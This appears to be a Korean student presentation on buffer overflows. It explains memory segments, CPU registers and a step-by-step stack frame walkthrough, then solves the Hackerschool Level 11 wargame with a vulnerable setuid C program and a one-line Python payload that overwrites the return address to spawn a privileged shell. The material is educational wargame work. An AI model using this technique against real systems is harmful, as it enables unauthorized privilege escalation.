*** ** BOF

Report
Security First_준회원
최민준
010-9428-0748
[email protected]

BOF란 무엇인가?

BOF를 공부하는 이유

BOF 이해를 위한 선행지식

예제를 통한 스택 구조 이해

해커스쿨 -Level 11- 풀이

‘Buffer Overflow’ 의 약자

버퍼(메모리)취약점이 있는 프로그램에 공
격코드를 삽입하여 버퍼를 넘치게 하고 공
격자가 원하는 명령을 실행하게 하는 기법

데이터를 저장할 때 유효범위를 검사하지
않는 개발상의 문제로부터 발생

취약점 관련 발표자료 중 시스템 분야의
대부분은 Overflow와 관련

C언어가 존재하는 이상 BOF는 막강한 영
향력을 가짐

현재까지도 공격기법과 방어기법이 발전
되고 있어 끝없이 공부 해야함

메모리 구조 : 프로세스, 세그먼트, 어드레스

CPU 구조 : 각 레지스터 역할(ESP,EBP,EIP
등)

기계어, 어셈블리어, C언어

리눅스 : gdb, objdump, gcc, SetUID 등

2진수, 16진수
하드디스크 : 책장에 비유 (용량↑ 속도↓)
:저장공간은 크지만 가져오는 속도 느림

메모리(RAM) : 책상에 비유(용량↓속도↑)
: 책의 저장공간은 작지만 읽는 속도 빠름

CPU : 사람에 비유 (연산의 주체)
: 책장에서 책을 책상으로 가져와서 읽음


시스템 실행 시 커널을 메모리 최하위에 로드

프로그램(프로세스)을 실행하면 ‘세그먼트’라
는 단위로 묶어서 메모리 에 저장

하나의 세그먼트는 Stack, Data, Code 세그
먼트로 나뉨

메모리의 주소는 쉬운 이해를 위해서 생략
실제 메모리 구조
세그먼트
잇힝*^_^*
곰플레이어
Kernel
Code : 컴파일러가 만들
어낸 기계어 코드 적재

Data : 전역변수 적재

Stack : 지역변수 적재
Stack
Data
네이트온

Code
CPU 레지스터의 종류
범용 레지스터
: 프로그래머가 조작가능

세그먼트 레지스터
: 특정 세그먼트 가리킴
중요 레지스터만 알고 가기

EBP : Stack에서 한 프레임
(함수범위)의 주소를 갖는
포인터

플래그 레지스터
: 연산상태를 표시


인스트럭션 포인터
: 다음 실행명령어 주소를 가짐


ESP : Stack의 맨 꼭대기를
가리키는 포인터
EIP : Code세그먼트에서
다음 실행할 명령의 주소
를 가리키는 포인터
C 언어 프로그램
Void function(int a, int b, int c){
char buffer1[15];
char buffer2[10];
}
Void main(){
function(1, 2, 3);
}
어셈블리 코드
+----main 함수 영역----+
ret
leave
call ‘function함수 시작주소’
push $0x1
push $0x2
push $0x3
sub $0x4, %ebp
sub 0x8, %esp
mov %esp, %ebp
push %ebp
+--- functioin 함수영역 --+
ret
leave
sub $0x28, %ebp
mov %esp, %ebp
Push %ebp
+-------------------+
높
은
주
소
낮
은
주
소
Code 세그먼트
ret
add $0x10, %esp
leave
call ‘function 시작주소’
push $0x1
push $0x2
push $0x3
sub $0x4, %ebp
sub 0x8, %esp
mov %esp, %ebp
push %ebp
ret
leave
sub $0x28, %ebp
mov %esp, %ebp
Push %ebp
Stack 세그먼트
ESP
0
EIP
Code 세그먼트
ret
leave
add $0x10, %esp
call ‘function 시작주소’
push $0x1
push $0x2
push $0x3
sub $0x4, %ebp
sub 0x8, %esp
mov %esp, %ebp
push %ebp
ret
leave
sub $0x28, %ebp
mov %esp, %ebp
Push %ebp
Stack 세그먼트
이전 함수의 base pointer
EIP
ESP
4
Code 세그먼트
ret
leave
add $0x10, %esp
call ‘function 시작주소’
push $0x1
push $0x2
push $0x3
sub $0x4, %ebp
sub 0x8, %esp
mov %esp, %ebp
push %ebp
ret
leave
sub $0x28, %ebp
mov %esp, %ebp
Push %ebp
Stack 세그먼트
이전 함수의 base pointer
EIP
EBP
ESP
4
Code 세그먼트
ret
leave
add $0x10, %esp
call ‘function 시작주소’
push $0x1
push $0x2
push $0x3
sub $0x4, %ebp
sub 0x8, %esp
mov %esp, %ebp
push %ebp
ret
leave
sub $0x28, %ebp
mov %esp, %ebp
Push %ebp
Stack 세그먼트
이전 함수의 base pointer
EBP
4
ESP
12
EIP
Code 세그먼트
ret
leave
add $0x10, %esp
call ‘function 시작주소’
push $0x1
push $0x2
push $0x3
sub $0x4, %ebp
sub 0x8, %esp
mov %esp, %ebp
push %ebp
ret
leave
sub $0x28, %ebp
mov %esp, %ebp
Push %ebp
Stack 세그먼트
이전 함수의 base pointer
EBP
4
ESP
16
EIP
Code 세그먼트
ret
leave
add $0x10, %esp
call ‘function 시작주소’
push $0x1
push $0x2
push $0x3
sub $0x4, %ebp
sub 0x8, %esp
mov %esp, %ebp
push %ebp
ret
leave
sub $0x28, %ebp
mov %esp, %ebp
Push %ebp
Stack 세그먼트
이전 함수의 base pointer
EIP
3
EBP
4
ESP
20
Code 세그먼트
ret
leave
add $0x10, %esp
call ‘function 시작주소’
push $0x1
push $0x2
push $0x3
sub $0x4, %ebp
sub 0x8, %esp
mov %esp, %ebp
push %ebp
ret
leave
sub $0x28, %ebp
mov %esp, %ebp
Push %ebp
Stack 세그먼트
이전 함수의 base pointer
EBP
4
EIP
3
2
ESP
24
Code 세그먼트
ret
leave
add $0x10, %esp
call ‘function 시작주소’
push $0x1
push $0x2
push $0x3
sub $0x4, %ebp
sub 0x8, %esp
mov %esp, %ebp
push %ebp
ret
leave
sub $0x28, %ebp
mov %esp, %ebp
Push %ebp
Stack 세그먼트
이전 함수의 base pointer
EBP
4
EIP
3
2
1
ESP
28
Code 세그먼트
Stack 세그먼트
이전 함수의 base pointer
ret
leave
add $0x10, %esp
call ‘function 시작주소’
push $0x1
push $0x2
push $0x3
sub $0x4, %ebp
sub 0x8, %esp
mov %esp, %ebp
push %ebp
ret
leave
sub $0x28, %ebp
mov %esp, %ebp
Push %ebp
EBP
4
3
2
1
add $0x10, %esp의 주소
EIP
ESP
32
Code 세그먼트
Stack 세그먼트
ret
leave
add $0x10, %esp
call ‘function 시작주소’
push $0x1
push $0x2
push $0x3
sub $0x4, %ebp
sub 0x8, %esp
mov %esp, %ebp
push %ebp
이전 함수의 base pointer
ret
leave
sub $0x28, %ebp
mov %esp, %ebp
Push %ebp
main함수의 EBP의 주소 -> 4
EBP
4
3
2
1
add $0x10, %esp의 주소
EIP
ESP
36
Code 세그먼트
Stack 세그먼트
ret
leave
add $0x10, %esp
call ‘function 시작주소’
push $0x1
push $0x2
push $0x3
sub $0x4, %ebp
sub 0x8, %esp
mov %esp, %ebp
push %ebp
이전 함수의 base pointer
ret
leave
sub $0x28, %ebp
mov %esp, %ebp
Push %ebp
main함수의 EBP의 주소 -> 4
3
2
1
add $0x10, %esp의 주소
EIP
EBP
ESP
36
Code 세그먼트
Stack 세그먼트
ret
leave
add $0x10, %esp
call ‘function 시작주소’
push $0x1
push $0x2
push $0x3
sub $0x4, %ebp
sub 0x8, %esp
mov %esp, %ebp
push %ebp
이전 함수의 base pointer
ret
leave
sub $0x28, %ebp
mov %esp, %ebp
Push %ebp
main함수의 EBP의 주소 -> 4
3
2
1
add $0x10, %esp의 주소
EIP
EBP
36
ESP
76
Code 세그먼트
Stack 세그먼트
이전 함수의 base pointer
ret
leave
add $0x10, %esp
call ‘function 시작주소’
push $0x1
push $0x2
push $0x3
sub $0x4, %ebp
sub 0x8, %esp
mov %esp, %ebp
push %ebp
ret
leave
sub $0x28, %ebp
mov %esp, %ebp
Push %ebp
3
2
1
add $0x10, %esp의 주소
EIP
main함수의 EBP의 주소 -> 4
EBP
ESP
36
Code 세그먼트
Stack 세그먼트
이전 함수의 base pointer
ret
leave
add $0x10, %esp
call ‘function 시작주소’
push $0x1
push $0x2
push $0x3
sub $0x4, %ebp
sub 0x8, %esp
mov %esp, %ebp
push %ebp
ret
leave
sub $0x28, %ebp
mov %esp, %ebp
Push %ebp
EBP
4
3
2
1
add $0x10, %esp의 주소
EIP
ESP
32
Code 세그먼트
ret
leave
add $0x10, %esp
call ‘function 시작주소’
push $0x1
push $0x2
push $0x3
sub $0x4, %ebp
sub 0x8, %esp
mov %esp, %ebp
push %ebp
ret
leave
sub $0x28, %ebp
mov %esp, %ebp
Push %ebp
Stack 세그먼트
이전 함수의 base pointer
EBP
4
EIP
3
2
1
ESP
28
Code 세그먼트
ret
leave
add $0x10, %esp
call ‘function 시작주소’
push $0x1
push $0x2
push $0x3
sub $0x4, %ebp
sub 0x8, %esp
mov %esp, %ebp
push %ebp
ret
leave
sub $0x28, %ebp
mov %esp, %ebp
Push %ebp
Stack 세그먼트
이전 함수의 base pointer
EIP
EBP
4
ESP
12
Code 세그먼트
ret
leave
add $0x10, %esp
call ‘function 시작주소’
push $0x1
push $0x2
push $0x3
sub $0x4, %ebp
sub 0x8, %esp
mov %esp, %ebp
push %ebp
ret
leave
sub $0x28, %ebp
mov %esp, %ebp
Push %ebp
Stack 세그먼트
EIP
이전 함수의 base pointer
EBP
ESP
4
Code 세그먼트
ret
leave
add $0x10, %esp
call ‘function 시작주소’
push $0x1
push $0x2
push $0x3
sub $0x4, %ebp
sub 0x8, %esp
mov %esp, %ebp
push %ebp
ret
leave
sub $0x28, %ebp
mov %esp, %ebp
Push %ebp
Stack 세그먼트
ESP
0

공격할 프로그램 분석
1. attackme 라는 프로그램에 level12 권한의 setuid가 걸려있다.
2. Setuid가 걸린 프로그램을 실행하는 동안은 파일소유자의 권
한이 주어진다.
3. attackme 의 버퍼를 넘치게 하여 return address를 조작 level12
권한의 쉘을 실행시킨다.
Hint – attackme 프로그램의 코드
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char *argv[] )
{
char str[256];
setreuid( 3092, 3092 );
strcpy( str, argv[1] );
printf( str );
}
• 256바이트의 char형 변수 선언
• 첫번 째 인자를 str변수에 대입
• strcpy는 인자의 크기를 고려안함
• 즉 오버플로 취약점이 있는 프로그램
Stack 세그먼트 구조
Return Address
4
이전 함수의 ebp 4
운영체제영역
EBP
str
256
+
dummy
8
---------------------264
main함수영역
• str변수의 256바이트와 dummy 8바이트
•운영체제로 반환되는 주소 4바이트
• 다음 실행할 명령의 주소 4바이트
공격코드 구조
Stack 세그먼트 구조
쉘 실행 프로그램의 주소
return address
aaaa
이전 함수의 ebp 4
4
운영체제영역
EBP
aaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaa….a(264개)
* str버퍼와 dummy값 그리고 ebp영역
까지 ‘a’로 채우고 return address를 쉘
을 실행하는 코드가 있는 곳으로 변조
하여 level12권한의 쉘을 실행시킴
str
256
+
dummy
8
---------------------264
main함수영역
• str변수의 256바이트와 dummy 8바이트
•운영체제로 반환되는 주소 4바이트
• 다음 실행할 명령의 주소 4바이트
공격코드 분석

./attackme `python –c 'print "a"*268+"\x98\xfa\xff\xbf“'`
1.
파이썬으로 a를 268번 입력하고 쉘을 실행하는 프로그
램이 있는 주소인 \x98\xfa\xff\xbf를 입력
2.
버퍼(str+dummy+ebp 268바이트)를 채움
3.
return address 영역에 쉘 프로그램 주소를 입력
4.
실행되는 순간 SetUID에 의해 level12권한 획득 후
return address가 변조되어 쉘을 실행 *^__^*v

Buffer Overflow Attack 실전
BOF 참~
쉽죠잉?

similar documents